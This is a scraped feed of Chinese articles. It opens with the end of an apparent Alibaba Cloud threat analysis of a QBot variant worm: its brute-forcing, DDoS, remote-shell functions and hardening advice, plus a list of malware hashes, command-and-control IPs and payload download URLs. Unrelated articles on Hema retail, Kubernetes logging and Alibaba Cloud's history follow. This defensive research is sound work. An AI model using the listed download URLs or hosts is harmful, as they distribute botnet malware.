值得注意是StartTheLelz函数,该函数主要用于对随机生成的IP地址进行爆破,如图通过getRandomPublicIP函数得到随机的IP,将硬编码的用户名和密码存储在结构体中,然后进行连接,其最大爆破次数通过max变量进行控制,max和文件描述表的项数有关但最大不超过4096。

012e2c703278b47e11bed2d14a981bf8b3fe98e1

通过数据区可以看见作者集成了几种常见的用户名和密码用于爆破

9c49da047d7811ad1f1fdc017f13f00b27be89ea

如果最终爆破成功,则会在被爆破的主机中执行如下脚本,从而感染主机,再继续向外传播

3cd640fd095b4b95857a6a9465678a8f5a0c3003

除了集成常见的对外DDoS攻击方法,QBotVariant还可以进行对外发送垃圾数据,通过sendJUNK或sendUDP即可完成该动作,如图用于生成随机字符串的makeRandomStr函数,通过发送大量垃圾包同样可以造成网络带宽阻塞。

cf69f930e105d4c95b8e67bf7eadc6f6f9668c62

而QBotVariant为了最大化入侵价值,同样提供了远程shell命令执行功能,其命令以"SH"开头,通过fdgets、sockprintf将命令执行后的结果返回到远控端,实现如下

d906106571c903dc4860d5ee124898018e7f944e

样本溯源/同源性分析

我们在对样本分析的过程中发现一个有趣的现象,样本为了逃避检测,有多种不同的指令,我们选取了几种QBotVariant的上线方式。


第一种,信息较简单,返回大小端、CPU架构、主机用途等信息。

5c9c31b20878601f2112b7c967fc1dbe3aa56b4e

第二种,信息比较全面,带有操作系统、CPU架构、主机用途、端口、主机IP等信息。

37d9ff7d8c3d6fc5764bfb0ee3b98f94c82af7c3

第三种,信息最为简单,只返回架构信息。

15098483ef6ebfdb827b61fef584fcf737dd69b4

第四种,返回大小端、架构信息。

b94713d5deccfbf64dace69d8155fb8ea702defe

第五种,信息比较全面,架构信息、大小端、主机IP、主机用途等信息。

bae951a9ad2e08c94dc5e70ae79e52fc4416cbe9

第六种,返回主机IP、类型、版本信息等。

0c4d5eedc58f6c22e1bef3842293ffa0a53aeceb

第七种,返回架构、主机IP等信息。

e08a59a1314d675b38dc86226724169671b3623d

我们在对样本进行溯源发现,在pastebin上存在大量该类样本的源码、二进制文件等,其存在时间都在数月之久,作者目录下还包括其他类型IOT蠕虫,同时发现多个作者进行了QBot的改写,如图是其中一位作者的pastebin和github

f2d591115916f2a6d4030ba3ce06f19748d2ef56

QBot在国内似乎大家认知不多,但是由于源码简单、客户端小、支持多种架构,从09年活跃至今一直未间断过,常被应用于远控、DDoS等客户端,在其截获的IP中,绝大部分位于北美和欧洲各地,但是云平台检测到来自国内IP的攻击源,国内安全人员应该引起重视。

407eba8660964d91924a725081a1a5676eca1bbb


安全加固 ●  云防火墙


开启云防火墙IPS拦截模式和虚拟补丁功能,云防火墙已经支持对该类漏洞的防御和防止暴力破解功能,用户即使不及时修复也依然能够进行防御拦截。
 ●  网络访问控制
使用"ECS/VPC安全组"对"受影响服务端口"访问源IP进行控制,如果本身Hadoop环境仅对内网提供服务,请不要将Hadoop服务端口发布到互联网。
 ●  更新升级

若使用自建的Hadoop,根据实际情况及时更新补丁,Hadoop在2.X以上版本提供了安全认证功能,加入了Kerberos认证机制,建议启用Kerberos认证功能或者您可以选择使用云上的MaxCompute(8年以上"零"安全漏洞)或云上的E-MAPREDUCE服务。

安全建议

 ●  云防火墙产品已支持防御针对此漏洞的攻击,建议用户可以购买云防火墙,开启检测。

 ●  通过安全管家服务,在阿里云安全专家的指导下进行安全加固及优化工作,避免系统受到漏洞影响。

总结

QBotVariant通过Hadoop Yarn资源管理系统REST API未授权访问漏洞、弱密码口令爆破等方式进行入侵,一旦感染此类蠕虫,不仅会占用主机计算资源消耗带宽流量,成为攻击其他主机的肉鸡,还可能造成数据泄露,数据丢失等后果。

阿里云安全提醒广大互联网用户,注意第三方应用的配置,防止出现此类未授权漏洞,同时加强用户名和密码的安全意识,切实保护自身资产安全。

IOC

部分MD5-文件名

文件名

MD5

185.244.25.153


YSDKOP.arm4

cc9de0d789efc8636946b4b41f374dfc

YSDKOP.arm5

ac94604edfe7730ccf70d5cd75610d01

YSDKOP.arm6

dcb51c5abd234a41ee0439183f53fd2d

YSDKOP.arm7

2416380b2fe0c693fd7c26a91b4cb8ee

YSDKOP.i586

2f029723c778f15e8e825976c66e45cd

YSDKOP.i686

49ec48d3afdddb098fa2c857fc63c848

YSDKOP.m68k

7efef839902ca20431d58685d9075710

YSDKOP.mips

eab0810535b45fa1bf0f6243dafb0373

YSDKOP.mpsl

a2c4e09821be6a4594e88376b9c30b5d

YSDKOP.ppc

1fc61114722f301065cd9673025ce5e0

YSDKOP.sh4

38abc827e67ff53d0814979b435e2c40

YSDKOP.sparc

20a38aeeffba9f0f1635c7b4b78f3727

YSDKOP.x86

8fd97d622e69b69a3331ee5ed08e71b2

188.166.125.19



7e9c49b9e743bcf7b382fa000c27b49d

apache2

64394fb25494b0cadf6062a0516f7c1a

bash

75e7ce8c110bb132d3897b293d42116a

cron

e8dfae1fe29183548503dc0270878e52

ftp

0e765d00f0ee174e79c81c9db812e3a2

ntpd

2cb932dcb5db84dafa8cdc6b4afa52d0

openssh

606a3169f099b0f2423c63b4ed3f9414

pftp

6666ef216ce7434927338137760f4ab0

sh

cc2e82ffbc6d5053efade4849c13099f

sshd

00b0a6516986aca277d0148c7ddf38c4

tftp

38b075ee960d08e96b2e77205ec017de

wget

58c5e1bc66ac6b364639bce4b3f76c58

部分IP

178.128.194.222

178.128.7.76

103.214.111.122

130.185.250.199

194.182.80.200

138.197.74.100

198.199.84.119

104.248.165.108

178.128.46.254

159.65.227.17

206.189.196.216

80.211.109.66

194.48.152.114

159.89.114.171

178.128.43.104

185.244.25.153

209.97.159.10

46.36.37.121

46.29.164.242

46.17.47.250

158.69.60.239

195.181.223.138

80.211.39.186

188.166.125.19

104.248.112.122

212.237.26.71

178.128.239.252

104.248.212.127

104.248.63.168


部分URL及出现时间

URL

时间

http://138.197.74.100/bins.sh

20180904

http://80.211.39.186/bins.sh

20180904

http://178.128.239.252/bins.sh

20180908

http://158.69.60.239/bins/boti586final

20180908

http://158.69.60.239/bins/botx86_64final

20180908

http://158.69.60.239/bins/boti686final

20180908

http://158.69.60.239/bins.sh

20180908

http://178.128.239.252/bins.sh

20180909

http://130.185.250.199/bins.sh

20180909

http://46.17.47.250/xm2bash

20180913

http://104.248.112.122/Kuso69/Akiru.x86

20180918

http://194.182.80.200/bins.sh

20180919

http://104.248.112.122/Kuso69/Akiru.x86

20180919

http://209.97.159.10/bins.sh

20181003

http://46.17.47.250/xm2wget

20181005

http://185.244.25.153/bins.sh

20181009

http://159.65.227.17/bins.sh

20181009

http://178.128.7.76/bins.sh

20181010

http://185.244.25.153/bins.sh

20181010

http://104.248.212.127/bins.sh

20181010

http://159.65.227.17/bins.sh

20181010

http://206.189.196.216/bins.sh

20181010

http://188.166.125.19/bins.sh

20181010

http://188.166.125.19/bins.sh

20181011

http://185.244.25.153/bins.sh

20181011

http://178.128.7.76/bins.sh

20181011

http://104.248.212.127/bins.sh

20181011

http://80.211.109.66/bins.sh

20181012

http://185.244.25.153/bins.sh

20181012

http://195.181.223.138/bins.sh

20181012

http://159.89.114.171/bins.sh

20181012

http://178.128.7.76/bins.sh

20181012

http://104.248.212.127/bins.sh

20181012

http://185.244.25.153/bins.sh

20181015

http://104.248.165.108/bins.sh

20181018

http://198.199.84.119/bins.sh

20181018

http://103.214.111.122/bins.sh

20181019

http://178.128.46.254/bins.sh

20181019

http://178.128.43.104/bins.sh

20181019

http://104.248.63.168/vvglma

20181021

http://178.128.194.222/bins.sh

20181026

http://178.128.194.222/bins.sh

20181027

http://178.128.194.222/bins.sh

20181028

http://46.29.164.242/bins.sh

20181031

http://194.48.152.114/bins.sh

20181101

http://46.36.37.121/weed.sh

20181103


]]>
阿里云上,盒马狂奔 Mon, 27 May 2019 21:06:17 +0800 四岁了,盒马依旧在加速狂奔。 

2019年3月底,成都盒马高笋塘店开门迎客。这是成都的第12家盒马店,接踵摩肩的消费者热情依旧。一个统计,成都主城区的盒区房覆盖率全国第一,达到75%,服务小区数量超过9100个。 

盒马消息称,西安二环内、上海主城区的盒区房覆盖率也超过70%。过去一年,盒马以“4天开1店”的速度进入了全国20个城市,因为便捷的服务和新奇的购物体验, “住上盒区房”成为了社会期待。

没人能想到,盒马能以“龙虾”破局新零售;所有人都期待,屡创新高的“盒马速度”。

云上创业:第一家门店

向没有开辟的领域进军,才能创造新天地。——李政道

时间回到2015年,美国百货店“祖师爷”西尔斯公司将200多家顶级店面出售给Seritage房地产信托投资基金。这意味着,西尔斯这个辉煌了100多年的传统零售巨头,已经陷入了经营困境。

在中国,零售业依旧是硝烟弥漫的创业者赛场。彼时中国电商市场已然巨头在立,然而随着移动互联网的兴起,大家都希望利用智能手机,挖掘出一个大商机,比如生鲜O2O。

生鲜是最为苛刻的电商品类:保质期超短,有些甚至只有几个小时;成本极高,卖不掉就要扔掉;冷链条件、运输时效要求高。所以,当时的生鲜O2O大多只是卖些冻品。尽管如此,生鲜的线上渗透率也只有1%。 

也正在2015年,在零售圈摸爬滚打近30年的侯毅从北京回到老家上海,心中怀着一个执念,30分钟内把一只来自波士顿的鲜龙虾送到用户家里。凭借多年对市场的理解和敏锐洞察,他认为 “构建线上线下一体化的生鲜超市”将成为一种全新的零售模式。行业里赞同者寡,但是 阿里巴巴 集团CEO张勇表示出了极大的兴趣。 

坊间传说,张勇只听侯毅讲了5分钟就认可了他的想法。不过,两人在半年时间里确实见了不下10次。最终,侯毅决定借力 阿里巴巴 ,打造盒马鲜生。 

此前,没有人搭建过线上线下一体化的超市,背后的系统千头万绪,物流WMS、ERP和财务、门店POS、物流配送、APP、会员、支付、营销… …必须有一个一体化的平台,来处理所有与零售相关的业务。盒马鲜生不仅要做商业的探路者,还要成为技术的登月人。 

挑战就摆在刚刚组建的盒马技术团队眼前:这套超级复杂的系统,如何构建?答案倒也简单:借力 阿里 中台。 

中台是 阿里巴巴 在2015年启动的集团战略,希望构建符合DT时代的“大中台、小前台”组织机制和业务机制:作为前台的一线业务会更敏捷、更快速适应瞬息万变的市场;中台将集合整个组织的运营数据能力、产品技术能力,对各前台业务进行强力的支撑。 

于是,盒马技术团队一方面开始像搭积木一样调用 阿里巴巴 智能中台里的产品技术模块,快速构建起了基本应用。另一方面针对线下场景,进一步实现了基于POI的精准配送,一键调整价格的电子价签,支持万级SKU的品类规划,以及全供应链管理等。 

最终,这套打通了线上线下的商超系统,包括会员、交易、营销、资金、支付、结算、账务、客服、安全等等功能。实现了统一会员、统一库存、统一价格、统一营销、统一结算。

由于中台能力的出色表现,盒马的系统用9个月时间搭建完成。这个速度让侯毅也吃了一惊,“放到今天,这样一套系统其他人去做至少花2年。” 

云上速度:从1到100

天下武功,无坚不摧,唯快不破。——李小龙

2017年6月16日,亚马逊宣布以137亿美元的价格收购全美最大的天然和有机食品连锁超市Whole Foods(全食超市),一家打通线上线下的新零售超市。传说,贝索斯在2017年初实地参观了盒马,所以下定决心收购全食,与老对手一较高下。137亿美元不仅创下了亚马逊的收购纪录,也成为美国零售行业的并购之最。 

2017年盒马开始快速奔跑,但还算不上火力全开。它在17年开了17家店,而18年一年,就有 95家新店落地,相当于4天1家店。“盒马速度”是怎么实现的?

图片14.png

“相对于传统企业,盒马有一个巨大的优势:一出生,它的IT系统就全部构建在云端,实现了云端统一支撑,同时并不惧怕高订单量。”作为初始创业产品技术团队一员,盒马的高级产品专家满汉认为,盒马飞速奔跑,得益于云计算。 

2016年双12,盒马第一次试水线上促销。上海金桥店创下了1天1万单的交易纪录。要知道即使放在现在,日本、美国的很多零售门店的线上销售单量,也仅仅几十单或者几百单每天。 

然而对于线上1天1万单这个“纪录”, 满汉提起来有点不太好意思。因为他们并没有像阿里巴巴 备战双11一样,提前进行大规模技术演练和系统准备,“当决定搞双12线上大促的时候,实际上已经是10月份了,准备的时间非常短”。 

经历过 天猫 双11流量峰值考验的 阿里 云,轻松支撑了盒马当年的线上促销活动。如今,盒马有180家店铺,大多数的店铺每天的交易都会达到这个2016年的纪录峰值。 

没有采购服务器,盒马借助云计算的弹性计算能力,实现了每个店铺的线上线下交易与支付都平稳、顺畅。几百万CPU核心的计算能力、PB级的存储空间、瞬时的相应支持,快速奔跑的盒马在云端得到了这一切。 

满汉介绍,由于盒马将订单管理、配货、运营,甚至安保和美工等职责统一借助云端支撑,确保了各新开店标准化的管理模式。“ 阿里 云已经形成了更大范围的网络效应,让盒马不再是孤立的单点提供服务,而是可以轻松获取云端合作。比如商品选择、物流、多销售渠道、配送等,都可以综合运用全社会的云上资源。”

图片15.png

星巴克创始人霍华德·舒尔茨造访盒马上海长宁店

盒马飞一般创下了多个纪录。不仅吸引了全球企业家,还有外国政要前来参观。韩国乐天超市把悬挂链、30分钟送达的商业模式都搬回了韩国,而且还把三公里的地区称做“虚设区房”。

千店千面:数据智能的力量

不要为顾客着想,而是要站在顾客的立场上思考。——铃木敏文

尽管被视为新零售的最佳实践,过去四年,盒马过得并不轻松。2019年3月, 侯毅发表演讲称,新零售要回归零售的本质,做到因地制宜,做到符合当地消费者收入水平、消费习惯的店型和商品结构。与此同时,盒马进一步孵化了盒马菜市、盒马mini店、盒马F2、盒马小站等更多成员,基于不同区域、商圈的消费者,提供不同“定制化”的服务。 

盒马变得更在乎用户,更接地气。 

从全国标准化到“千店千面”,盒马再次借助了 “数据中台”的能力——用户需要什么?喜欢什么?接受能力是多少?什么商品最好卖?能卖多少?需要及时补货还是快速促销?数据中台的神奇之处,就在于它可以回答商业世界的十万个为什么。

图片16.png

爱美女生知道口红的色号,数据中台了解牛油果的色号。 “行业内的潜规则是,香蕉、凤梨、牛油果等热带水果进货时,尽量进青色不成熟的,这样不会坏。但是有经验的消费者知道,拿回去放几天才可能吃到最好的味道。但盒马只会进5号色最好的牛油果、6号色最好的香蕉,消费者买到就可以吃到最佳口感。” 上海金桥店店长昱夏说的就是借助数据来订货。 

这背后是对数据智能支持下供应链的极度自信。数据中台结合历史销量、节日甚至是天气情况等上千种数据,最大维度可以测算未来30天的销售量,最小精度甚至可以精细到下一分钟。“之前全凭经验,现在我们让数据决策。” 

昱夏的另一个故事来自有身份证的鱼。“在广州的门店,用户只要手机一扫便可以看到眼前这条鱼来自于哪片池塘,有没有质检报告。借助科技的力量,每一条淡水鱼拥有了安全可溯源的身份。”

图片17.png

在 阿里 达摩院AI、视觉识别、IoT技术的加持下,盒马成了零售圈子里最懂科技的生鲜超市。“谷歌用算法下围棋 ,盒马用算法卖生鲜,每天都确实感觉到是在科技公司上班。” 

2019新年伊始,在全球零售业最重要的全美零售联合会(NRF)上, 阿里巴巴 获零售业全球最大奖——“未来零售创造者”,而盒马鲜生被称为“新零售”典范。 

在侯毅眼中,盒马做到的是“以消费者需求为导向,利用 阿里 的基础数据能力、 阿里云的海量云计算能力、会员和支付体系,围绕成本与效率、体验与服务,重构零售业态。”

盒马鲜生这个新零售先锋,同样是现代数字技术改变的商业运行模式的典范。而盒马背后的 阿里 云,作为 阿里巴巴 所有技术和产品的输出平台,开始向全社会输出最佳实践的“新零售”数字化解决方案。

的确,这是新零售的时代,这是云计算的魔力。


本文转载自网络  如有侵权请联系删除

]]>
阿里云PB级Kubernetes日志平台建设实践 Mon, 27 May 2019 21:06:17 +0800 作者 | 元乙 编辑 | 张婵 阿里云日志服务是阿里集团针对日志分析、处理的自研产品。Kubernetes近两年来发展十分迅速,已经成为容器编排领域的事实标准,但是Kubernetes中日志采集相对困难,本文介绍了阿里云Kubernetes日志平台是如何建设的。 背景

阿里云日志服务是阿里集团针对日志分析、处理的自研产品,最根本的目的是让用户专注在“分析”上,远离琐碎的工作。日志服务整体功能分为3个部分:日志采集、智能查询分析和数据分发。相比其他日志系统,阿里云日志服务有以下几个特点:

采集范围广,支持30+种的数据采集通道,包括服务器、交换机、容器、移动端、IOT等各类设备;支持全球加速、断点续传等功能,使全球化数据高可靠采集成为可能。

数据规模大,支持单用户日PB级数据写入,提供数据通道横向自动扩展能力,可根据数据流量进行自动扩容。

查询能力强,提供SQL92标准的分析语法,秒级即可分析10亿条数据,同时提供丰富的数据图表,提供所见即所得的数据分析能力。

下游渠道多,日志服务支持对接各类下游的数据处理、分析系统,包括Flink、Storm、Spark等各类流计算系统,同时也支持Hadoop、MaxCompute等离线分析系统。

Kubernetes 日志采集难点

Kubernetes近两年来发展十分迅速,已经成为容器编排领域的事实标准。

Kubernetes是一个大的生态系统,围绕着Kubernetes我们需要去解决很多问题,例如CI/CD、可扩展性、安全性、可观察性等等。日志是可观察性中必不可少的一部分,而在Kubernetes中日志采集相对更加困难,难点主要体现在:

采集目标多,Kubernetes平台运行着多种系统组件以及众多应用,这些日志由多种日志格式(分隔符、json、Java、Nginx等)和多种日志形式(宿主机文件、容器stdout、容器文件、syslog、journal等)组成,通常主流的Agent很难支持各种数据的采集。

环境动态性强,在Kubernetes中,各类服务都会进行自动的缩扩容,应用也会进行动态迁移,日志采集很难适应环境动态性强的系统,尤其是日志的完整性很难得到保证。

使用负担大,随着集群规模、使用人数、应用种类的逐渐增长,日志采集的集中式管理、采集可靠性的监控等需求就显得尤其重要。更进一步,如何基于Kubernetes的扩展能力让日志采集也能和Kubernetes资源一样进行统一的管理?

阿里云 Kubernetes 日志平台的整体功能和核心技术

阿里云Kubernetes日志平台为Kubernetes日志提供接入、查询、分析、可视化、下游对接等日志分析整个生命周期的完整方案,并针对Kubernetes的组件日志提供通用的解决方案,例如审计日志、Ingress日志、系统组件日志等。这里的核心技术主要有以下几点:

全方位日志采集,能够支持Kubernetes各类日志的实时采集,并兼顾低资源消耗、高性能、高可靠性。同时基于CRD扩展,实现采集与Kubernetes的无缝集成。

超大规模数据量,Kubernetes可轻松管理数万台机器的集群,日数据量可能会达到数百TB甚至PB级,日志平台能够支撑海量的数据规模,同时保证可扩展性和可靠性。

实时分析能力,日志最常用的场景是监控和问题调查,因此实时的查询/分析能力尤其重要,平台能够在秒级内实现对亿级数据任意条件、任意维度组合的分析。

通用方案打通,基于日志平台的通用能力,对Kubernetes的通用方案进行整体封装,并打通采集、存储、分析、可视化、告警等整个流程,实现通用方案的开箱即用。

平台设计难点

阿里云在通用日志平台的建设方面有着10年的经验,针对Kubernetes场景平台整体的复杂性增加很多,难点主要有:

支持各类采集需求,需支持采集多种日志形式和日志格式,不同的使用场景对日志采集的需求不同,需要保证数据采集具备高可靠、高性能、低资源占用、可监控的能力。

Kubernetes集成,日志的采集和管理需要和Kubernetes平台进行无缝兼容,因此需要提供CRD的扩展方式,尤其在多种方式同时操作、集群不可用等复杂场景下,CRD与服务端的同步与协调关系较难维护。

多租户隔离,Kubernetes日志平台的使用方较多,平台需保证从日志采集、处理、查询、消费等各个环节的多租户隔离,不能让部分用户的大量请求或非法使用而导致整个集群不可用。

超大流量压力,在阿里内部,即使最大规格的VIP也无法承受所有日志的流量,双11、春节红包等流量高峰瞬间可能会打爆集群,因此减少数据回路、削峰填谷、降级方案、系统兜底方案等尤其重要。

日志数据的使用

Kubernetes中存在各种日志,包括内核日志、系统组件日志、Ingress、ServiceMesh、中间件、应用日志等,每种日志都会有不同人员在不同的场景中应用。例如APIServer的审计(Audit)日志,安全同学会用来做入侵检测、账号操作审计等,运维同学会基于审计日志做变更管理、核心组件监控、节点监控等,开发同学会使用审计日志检查变更是否生效;例如Ingress的访问日志,运营同学会用来做用户行为分析、业务走势分析、运营检测等;运维同学会用来做集群/服务监控;开发同学会基于Ingress访问日志进行发布前后的指标对比……

从日志平台角度来看,平台需要为不同的业务角色、不同的使用场景提供通用的数据处理/分析能力,包括但不限于:智能分析、链路跟踪、监控、数据清洗、流计算、数据仓库、安全分析、BI分析等。

Kubernetes 日志平台与可观察性的关系

“可观察性”(Observability)从电气角度上的解释是:“若所有的内部状态都可以输出到输出信号,此系统即有可观察性”。CNCF-Landscape首次将“可观察性”(Observability)引入到了IT领域。可观察性相关的工具主要包括Logging、Metric、Tracing三大类,这三者之间有很多重叠部分,从表现力上来看,Metrics最弱、Tracing其次、Logging最强。Metric主要记录了一些聚合的指标信息,例如CPU/Mem利用率、请求成功率、请求延迟等;Tracing记录从请求发起到响应完毕的整个流程;而日志相对范畴最大,日志记录了系统运行期间所有的信息,而从日志的字段中可以聚合出Metric、从日志的RequestID中可以提取出整个Tracing链路。

在Kubernetes中,通常通过Metric发现问题,然后通过Tracing定位问题模块,最后根据日志中的详细信息诊断错误。而在阿里云Kubernetes日志平台中可通过智能分析的功能直接基于日志发现、定位并诊断问题,大大减少问题调查时间。智能分析的能力主要有:

日志聚类,根据日志的相似性进行智能归类,秒级即可实现亿级数据自动归类,快速掌握日志整体状态。

异常检测,基于变点检测、折点检测、多周期检测、时序聚类等机器学习方法,自动检测时序中的异常。

日志模式对比,通过前后两个时间段/版本的日志模式对比,快速发现当前时间/版本的日志差异。

知识库匹配,将问题调查经验以知识库形式保存下来,将日志与知识库内容进行匹配,快速得到具体日志对应的问题和解决方案。

阿里云 Kubernetes 日志平台的借鉴意义

阿里云Kubernetes日志平台建设过程中考虑的很多问题对于大家都有一定的借鉴意义,例如:

采集方案选择,Kubernetes中采集通常会使用DaemonSet和Sidecar两种方式,日志也会分为stdout和文件两种形式,文件也分为容器内文件和宿主机挂载文件等不同方式,需根据业务场景特点选择合适的日志采集方案。

平台高可用建设,随着应用场景的逐渐扩展,对于日志平台的可用性要求也越来越高,我们在高可靠日志采集、日志平台自监控、异常自动屏蔽与恢复、高效运维等方面积累了很多宝贵的经验与教训。

生态对接,平台不可能实现日志生命周期中所需的所有系统和功能,很大一部分功能需要上下游的生态来完成(例如流计算、离线计算、Trace系统、告警系统等),因此生态的对接成为了日志平台能够覆盖所有日志场景必不可少的一个部分。

性能与成本取舍,成本是每个公司都需要考虑的一点,通常日志的开销只占IT支出的1-3%左右,日志的采集、存储、查询等各个环节需尽可能的节省资源,同时还需保证整体性能在可接受范围内。


本文转载自网络,如有侵权,请联系删除。

]]>
生于疼痛的阿里云 Mon, 27 May 2019 21:06:17 +0800 拥有超过10万员工的阿里集团,其平台交易总金额已经占到了中国社会消费品零售总额的13%,创造就业超过4000万。这个庞大的数字经济体,今年即将迎来二十岁生日。

鲜为人知的是,这个数字经济体之所以能够顺利走到今天,离不开其花了一半时光所打造的业务与技术底座——那朵伴随着成长阵痛而扶摇直上的阿里云,今年也已经十周岁。

2019年3月,虎嗅专访了阿里云智能基础产品事业部总经理蒋江伟(花名小邪)、资深技术专家钟华(花名古谦)。不出意外,采访内容印证了我们此前的猜测:如果要从磅礴繁杂的阿里经济体中,找出一条读懂“昨天,今天,明天”的业务线索,阿里云恐怕是不二之选。

烟囱

“即便你仅仅访问一次淘宝的首页,所涉及的技术和系统规模都是你完全无法想象的,是淘宝2000多名顶级的工程师们的心血结晶,其中甚至包括长江学者、国家科学技术最高奖得主等众多牛人。” ——卡特《你刚才在淘宝上买了一件东西》

2008年初,淘宝的程序员撞到了墙上,心惊胆战。

那时候,淘宝在技术层面上,是一个由200多个功能模块组成的代码压缩包,体积大概有几百兆字节。其复杂程度已经“超出人类的认知负载”,没有人能完全掌握内部逻辑和关联。“改动商品相关代码,发现交易出问题了,改了论坛上的代码,结果旺旺出问题了”。

这还是“几个月就翻倍”的业务快速发展期。淘宝在峰值时的数据库连接数量已经超过5000个,数据库服务器的CPU占用率常常超过90%,且无法扩容。

实际上,早在4个月前的一次战略会上,阿里决策层已经看到问题所在。

那个会的召集人是马云。平时战略会都在西湖,那次他说找个看海的地方,思路开阔一些。但是当时秘书对宁波不熟,订错了地方,结果一群高管在一个海在哪里都看不到的屋子里,“不接地气”地吵了两天两夜。

在最后一天晚上深夜,大家历经争吵终于画出一张图。图上示意,信息流、资金流和物流将形成统一的数据智能,基本勾勒了12年后阿里现在的样子。

流淌在各个业务中的数据要做到“大一统”,项目被命名为“登月计划”。



但,月亮美好,却太遥远。眼下的现实是,淘宝底层技术基础已经危如累卵,已经是出了名的“改这里、错那里”。

要上线“淘宝旅行”和“淘宝彩票”。为了“不给主站添乱”,技术人员就另起炉灶重新做了这两个系统。哪怕有很多重复功能,比如用户、交易、查询、评价等功能。

重复建设还只是成本的问题。一个个独立的业务就是一根根独立的烟囱,都长在同一片地里,但各冒各的烟。数据大一统,无从谈起。

连业务属性最一致的两个业务——淘宝和淘宝商城(天猫的前身)都像两个独立的国家。

他们有很多共同的用户、共同的商家,但车不同轨、书不同文,载着数据的“火车”到了“国界线”,必须要通过复杂的架构手段,“找一个翻译”或者“换一个火车头”。



再加上,阿里的地里长了这么多烟囱,无数的火车头和翻译,复杂得不成样子。

建设烟囱本来就是多年来的企业IT模式:你起一个业务,底下给你弄一套系统;再起一个业务,我再给你弄一套系统。设计、生产、供应、物流、订单、库存、分销、客服……每个功能再一套系统,企业就是一片烟囱田。

这是工业流水线被发明之后,管理界的金科玉律:理顺、分配、不断优化每个封闭的业务流程,通过每个工序和业务流程的效率提高,进而提升整个企业的效率。

然而,当数字化信息取代实物,成为最重要的生产资料后,工业流水线在数字化时代的弱势便被无限放大——内部各环节之间只能是串联的,且对外部完全封闭,恰似一根根烟囱。

“你会发现转不动了,新业务不断出现,所有人都找IT部门要资源,看起来你挺牛,但其实你拖慢了所有人的节奏。”

“互联网这种速度,生死都是一瞬间。慢下来就挂了。”

虽然决策层看到问题所在,也遥远地指了一下月亮。但就像人类真的登上月球要付出沉重的代价,阿里的“登月”也谈何容易。

补天

“中国电商行业能有今天,上百万淘宝店主都应该感谢秦始皇书同文车同轨,感谢高考语文考卷上的普通话发音题。” ——马平《为了我们双11“剁手”,中国准备了2000年》

2007年底,有程序员想了个办法:将每个烟囱都必备,且逻辑最独立简单的用户信息模块拆了出来,将其独立成为单个公共模块。这一尝试后效果还不错,淘宝又将交易模块也独立了出来。

2008年10月,基于此前的成功尝试,阿里进行了一次被称为“给高速飞行的飞机换发动机”的大手术。

这个名为“五彩石”(即女娲炼石补天用的石头)的项目,其核心诉求就是要将淘宝与天猫在数据和业务层面完全打通。

当时的解法具有了后来中台的影子:

1、抽离出每个业务的共性功能,如交易、支付、会员等等,打包成“砖块”,房子千奇百怪,但砖头都是一样的。做一个新业务就变得非常容易。

2、让数据沉淀到统一的池子,为之后喂养数据智能奠定基础。

“大多数产品,产业共性70%,行业共性20%,真正和同行不一样的,恐怕只有10%”,阿里资深技术专家古谦在见过上百家各行业龙头企业后,这样总结到。

而这一块补天之石的影响,远不止于此。

2009年初,五彩石项目结束,这个一共动用了200多人的公司级大项目(此前阿里超过10人的技术项目就不小了),最终为阿里沉淀了一套中间件技术,这个词后来在技术圈普及,成为“拆烟囱”的标准。


(阿里云飞天研发团队合影)


同样在2009年,王坚率领的飞天团队,正式挂出了阿里云的牌子。

在宁波的战略会上,决策层们打算为“登月计划”找个负责人,后来找来了王坚。

王坚人称“博士”,不过在很长的时间里,博士都有一副类似“骗子”的面孔。

马云说给阿里云每年投10亿,投个10年,做不出来再说。但阿里内部论坛上讨伐的声音一浪高过一浪,花钱又不出成绩,这哪是一个商业公司该干的事情。

其实,这恰好说明阿里云的确生于疼痛,生于业务压力:

第一、“登月”要解决算力的问题,现成的IOE模式完全不适用;

第二、“五彩石”补天之后,要有与之匹配的分布式底座。

2013年,飞天单一集群能力达到5000台,成为全球第一家对外提供这一能力的公司,算力的底座宣告建成。

到2018年底,阿里云在中国市场份额已经超过2到8名总和。同时,阿里宣布组织架构调整,阿里云升级为阿里云智能,将中台能力与云全面结合。阿里云正式成为阿里经济体的技术底座,以及全集团的技术能力出口。

而阿里云智能总裁,恰是十年前“五彩石”项目的负责人,“行癫”张建锋。



今年3月21日,张建锋首次在公开场合阐述了升级之后的阿里云智能战略。至此,开端于2007年宁波海边的故事,闭环完美划上。“登月”的另一条隐线浮出水面。

阿里云此前被外界感知的,更多是算力与资源调度能力,以及自主知识产权研发。却少有人知晓,阿里云的壮大与发展,伴随着集团的每次业务阵痛与瓶颈突破,更与中台战略密不可分——

从五彩石到阿里云,这不是某种巧合,而是同一逻辑下的自然延展。可以说,中台战略与阿里云,就是互为因果,互为充要条件,缺一不可,非你不可的关系。

这不止是一朵能计算的云,更是一朵可以解决实际业务问题的云。因为,阿里云生于疼痛。而阿里集团的那次疼痛,又比绝大多数中国企业早了十年。

1000个BUG

“犯了足够多的错误,你跌倒,你站起来。所有的错误都是进账,都是很棒的收入。”

——马云演讲

“没被洪水倒灌过,你怎么能证明这个城市的下水道架构是合理的呢?”

阿里云智能基础产品事业部总经理小邪给我们讲了这样一个故事,2013年,阿里模拟出远超过双11压力的流量,这股洪水灌下去之后,淹出来1000多个BUG。

“像这种非常极端而极致的BUG,没有这么大的流量,是冲不出来的。即便招无数聪明的脑袋,也没办法解决的。”

这也是阿里不同于其他公司的地方,它具备互联网的规模、金融级的准确性、企业级的复杂程度。

在很多年前,有一个互联网圈流行的词汇,叫“鼠标加水泥”,其含义是传统商业模式与互联网的结合。这些能够做面对面生意的“重资产互联网企业”,就属于“水泥公司”,和那些只靠屏幕就能满足用户的“鼠标公司”截然不同。

而阿里早在十几年前,就是中国第一代“水泥公司”。这是其业务性质决定的,和BAT另外两家的“鼠标业务”完全不同。

比如,搜索是可以有一定模糊范围的,搜不出来几个链接也没关系,但电商不行,哪件商品搜不出来,商家都会电话投诉的。不仅内容上不能有偏差,每次交易的数字都代表着真金白银,差一分商家也是不干的。

再比如,社交行为基本是可以预见的,很难出现巨大的起伏跌宕。而电商用户就如同12306一样,面临巨大的弹性,算力放多了浪费,放少了崩溃……

而且,其它互联网企业的业务基本是比较清晰的,多是围绕着一个主流量核心再去设置支流业务。而阿里则从一开始就像个传统企业,要把一个产品或服务从生产设计、库存运输、分销推广再到客服分析全链路包含,其业务复杂度远超过同体量互联网企业。

高精准度、高复杂度以及难以预测的高并发,共同构成了阿里的技术瓶颈。这也是当业界大佬认为云计算“新瓶装旧酒”时,马云坚称“不做云计算,阿里会死”的原因。
